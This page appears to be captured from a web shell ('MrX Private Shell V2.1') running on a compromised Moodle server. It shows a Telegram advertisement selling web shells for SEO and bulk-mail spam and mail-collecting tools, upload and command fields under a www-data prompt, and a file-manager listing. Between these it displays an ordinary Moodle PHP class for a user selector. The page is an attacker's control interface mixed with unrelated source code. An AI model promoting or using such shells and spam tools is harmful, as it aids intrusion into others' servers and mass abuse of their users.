__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_course\output\actionbar;

use core\output\comboboxsearch;
use moodle_url;
use stdClass;

/**
 * Renderable class for the user selector element in the action bar.
 *
 * @package    core_course
 * @copyright  2024 Ilya Tregubov <ilyatregubov@proton.me>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class user_selector extends comboboxsearch {

    /**
     * The class constructor.
     *
     * @param stdClass $course The course object.
     * @param moodle_url $resetlink The reset link.
     * @param int|null $userid The user ID.
     * @param int|null $groupid The group ID.
     * @param string $usersearch The user search query.
     * @param int|null $instanceid The instance ID.
     */
    public function __construct(
        private stdClass $course,
        private moodle_url $resetlink,
        private ?int $userid = null,
        private ?int $groupid = null,
        private string $usersearch = '',
        private ?int $instanceid = null
    ) {
        // The second argument (buttoncontent) needs to be rendered here, since the comboboxsearch
        // template expects HTML in its respective context properties. Ideally, children of comboboxsearch would leverage Mustache's
        // blocks pragma, meaning a child template could extend the comboboxsearch, allowing rendering of the child component,
        // instead of needing to inject the child's content HTML as part of rendering the comboboxsearch parent, as is the case
        // here. Achieving this, however, requires a refactor of comboboxsearch. For now, this must be pre-rendered and injected.
        parent::__construct(true, $this->user_selector_output(), null, 'user-search d-flex',
            null, 'usersearchdropdown overflow-auto', null, false);
    }

    /**
     * Method that generates the output for the user selector.
     *
     * @return string The HTML output.
     */
    private function user_selector_output(): string {
        global $PAGE;

        $userselectordropdown = new user_selector_button(
            $this->course,
            $this->resetlink,
            $this->userid,
            $this->groupid,
            $this->usersearch,
            $this->instanceid
        );
        return $PAGE->get_renderer('core', 'course')->render($userselectordropdown);
    }
}

Filemanager

Name Type Size Permission Actions
group_selector.php File 5.29 KB 0777
group_selector_button.php File 2.33 KB 0777
group_selector_dropdown_form.php File 1.86 KB 0777
initials_dropdown_form.php File 2.68 KB 0777
initials_selector.php File 4.63 KB 0777
user_selector.php File 2.95 KB 0777
user_selector_button.php File 2.52 KB 0777
Filemanager